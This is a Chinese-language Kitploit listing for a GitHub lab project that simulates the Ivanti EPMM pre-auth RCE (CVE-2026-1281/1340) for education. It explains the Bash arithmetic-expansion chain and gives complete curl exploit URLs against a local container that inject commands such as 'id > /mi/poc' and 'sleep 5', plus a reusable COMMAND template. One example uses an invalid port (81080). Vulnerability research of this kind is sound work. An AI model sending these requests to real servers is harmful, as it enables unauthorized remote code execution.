Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-1281-CVE-2026-1340-Ivanti-EPMM-RCE — 一个简单的演示应用程序,展示如何复现 Ivanti EPMM 预认证远程代码执行漏洞(CVE-2026-1281 / CVE-2026-1340),用于教育和安全研究目的。 | Kitploit
工具/GitHubGitHub/yunfeige18/cve-2026-1281-cve-2026-1340-ivanti-epmm-rce
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubyunfeige18/cve-2026-1281-cve-2026-1340-ivanti-epmm-rce

CVE-2026-1281-CVE-2026-1340-Ivanti-EPMM-RCE

一个简单的演示应用程序,展示如何复现 Ivanti EPMM 预认证远程代码执行漏洞(CVE-2026-1281 / CVE-2026-1340),用于教育和安全研究目的。

查看仓库
36个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Ivanti EPMM 预认证 RCE 模拟靶标

一个简单的演示应用,用于展示如何复现 Ivanti EPMM 预认证 RCE 漏洞(CVE-2026-1281 / CVE-2026-1340),仅供教育和安全研究目的使用。

漏洞概述

该漏洞利用了 Bash 算术展开(arithmetic expansion)的行为。当在算术上下文中使用一个包含对其他变量引用的变量时,如果被引用的变量包含带有命令替换的数组索引,则该命令会被执行。

利用链

  1. 请求包含 st=theValue (字面字符串 "theValue" 并带有填充)
  2. 请求包含 h=gPath[\command`]`(数组索引中的命令)
  3. Bash 脚本在循环中解析 key=value 对,每次迭代更新 theValue
  4. gStartTime 被设置为字面字符串 "theValue"
  5. 循环结束后,theValue 包含 gPath[\command`]`
  6. 当 [[ ${currentTime} -gt ${gStartTime} ]] 被求值时:
  • ${gStartTime} → "theValue"(字符串)
  • 算术上下文将 theValue 视为变量引用
  • theValue → gPath[\command`]`
  • 数组索引触发命令替换 → RCE!

快速开始

root@kitploit:~
# 构建并启动容器
docker-compose up --build -d

# 检查是否运行正常
curl http://localhost:8180/health

测试漏洞

1. 文件创建测试

创建一个文件以证明命令执行:

root@kitploit:~
# URL 编码的载荷:id > /mi/poc
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20%3E%20/mi/poc%60%5D/test.ipa"

# 检查文件是否已创建
cat artifacts/poc

2. 基于时间的测试

使用 sleep 命令进行验证:

root@kitploit:~
# 响应应耗时约 5 秒
time curl "http://localhost:81080/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60sleep%205%60%5D/test.ipa"

3. 自定义命令执行

root@kitploit:~
# 写入自定义内容
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60echo%20PWNED%20%3E%20/mi/pwned%60%5D/test.ipa"

cat artifacts/pwned

URL 结构

root@kitploit:~
/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60COMMAND%60%5D/uuid.ipa
                               │      │              │              │
                               │      │              │              └─ 载荷:gPath[`COMMAND`]
                               │      │              └─ 结束时间戳(任意 10 位数字)
                               │      └─ 关键:字面 "theValue" + 2 个空格(共 10 个字符)
                               └─ 密钥索引(任意值)

调试

root@kitploit:~
# 查看容器日志
docker-compose logs -f

# 进入容器获取 shell
docker exec -it ivanti-epmm-vuln /bin/bash

# 查看 nginx 错误日志
docker exec -it ivanti-epmm-vuln cat /var/log/nginx/error.log

清理

root@kitploit:~
docker-compose down
rm -rf artifacts/*

参考

  • WatchTowr Labs 博客文章

免责声明

本工具仅用于教育和授权安全测试目的。请勿将其用于您不拥有或未经明确许可进行测试的系统。

下载工具